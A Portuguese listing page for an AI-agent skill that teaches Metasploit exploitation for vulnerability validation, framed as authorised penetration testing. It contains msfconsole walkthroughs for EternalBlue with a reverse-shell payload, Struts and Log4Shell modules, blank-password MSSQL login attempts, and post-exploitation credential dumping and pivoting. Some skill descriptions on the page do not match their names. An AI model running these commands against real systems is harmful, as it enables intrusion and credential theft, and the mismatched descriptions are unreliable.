exploiting-vulnerabilities-with-metasploit-framework
Ensina seu agente de IA a proteger aplicações contra ataques.
O que ela faz
Esta ferramenta ajuda a verificar se falhas de segurança em sistemas (vulnerabilidades) realmente podem ser exploradas. Ela usa um programa chamado Metasploit para testar e provar o impacto dessas falhas, sendo útil para quem gerencia a segurança de redes.
Quando usar
- ✓Ao testar a segurança de sistemas autorizados.
- ✓Ao verificar se correções de segurança foram aplicadas corretamente.
- ✓Ao demonstrar o risco real de uma falha para a gerência.
Exemplo do que pedir para a IA
“Verifique se a falha MS17-010 no servidor 192.168.1.100 é explorável.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
O Metasploit usa 'módulos' que são como ferramentas prontas para tentar explorar falhas conhecidas. Ele primeiro tenta confirmar se a falha existe e depois, se autorizado, tenta explorá-la para provar o risco.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-vulnerabilities-with-metasploit-frameworkOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades com o Metasploit Framework
Visão Geral
O Metasploit Framework é a plataforma de testes de penetração mais utilizada no mundo, mantida pela Rapid7. Ele contém mais de 2.300 exploits, 1.200 módulos auxiliares e 400 módulos de pós-exploração. Dentro do gerenciamento de vulnerabilidades, o Metasploit serve como uma ferramenta de validação para confirmar que as vulnerabilidades identificadas são realmente exploráveis, permitindo a priorização baseada em risco e demonstrando o impacto no mundo real para as partes interessadas.
Quando Usar
- Ao realizar testes de segurança autorizados que envolvem a exploração de vulnerabilidades com o Metasploit Framework.
- Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado.
- Ao conduzir exercícios de equipe vermelha (red team) ou engajamentos de testes de penetração.
- Ao construir capacidades de detecção com base na compreensão de técnicas ofensivas.
Pré-requisitos
- Metasploit Framework instalado (Kali Linux ou standalone).
- Banco de dados PostgreSQL para gerenciamento de sessões/credenciais.
- Autorização escrita e regras de engajamento para os testes.
- Ambiente de teste isolado ou janela de teste de produção aprovada.
- Compreensão de redes, protocolos e conceitos de exploração.
Conceitos Principais
Arquitetura do Metasploit
- msfconsole: Interface principal de linha de comando interativa.
- Exploits: Módulos que aproveitam vulnerabilidades para obter acesso.
- Payloads: Código executado no alvo após a exploração bem-sucedida.
- Auxiliary: Módulos de varredura, fuzzing e coleta de informações.
- Post-Exploitation: Módulos para escalonamento de privilégios, persistência, pivoteamento.
- Encoders: Codificação de payloads para evadir detecção baseada em assinatura.
- Nops: Geradores de "no-operation" para alinhamento de payloads.
Fluxo de Trabalho de Exploração em Gerenciamento de Vulnerabilidades
Diferente de equipes vermelhas ofensivas, o gerenciamento de vulnerabilidades usa o Metasploit para:
- Validar descobertas de scanners (confirmar explorabilidade).
- Demonstrar o risco para as partes interessadas do negócio.
- Priorizar a remediação com base em caminhos de exploração comprovados.
- Verificar patches confirmando que os exploits não são mais bem-sucedidos.
Fluxo de Trabalho
Passo 1: Inicializar o Ambiente Metasploit
# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init
# Launch msfconsole
msfconsole -q
# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025
# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns
Passo 2: Validar Vulnerabilidades Específicas
# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444
# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!
# Only exploit if check confirms vulnerability and authorized
msf6> exploit
# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check
# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check
Passo 3: Varredura Auxiliar para Validação
# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run
# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run
# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run
# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run
Passo 4: Avaliação de Impacto Pós-Exploração
# Após a exploração bem-sucedida, demonstre o impacto
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector
# Demonstração de pivoteamento de rede
meterpreter> run post/multi/manage/autoroute
…
Perguntas frequentes
O que é Metasploit?
É um conjunto de ferramentas muito popular usado por profissionais de segurança para testar e encontrar falhas em sistemas.
Preciso ter permissão para usar esta ferramenta?
Sim, é fundamental ter autorização por escrito e seguir regras claras antes de testar qualquer sistema, especialmente em ambientes de produção.
O que é 'exploit'?
É um código ou técnica que se aproveita de uma falha de segurança para obter acesso não autorizado ou executar ações em um sistema.
Detalhes
Descrição original do autor
Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather post-exploitation evidence, and confirm patch remediation. Use when performing vulnerability management validation, penetration testing, or post-patch verification and you need to prove real-world exploitability r
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5764
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC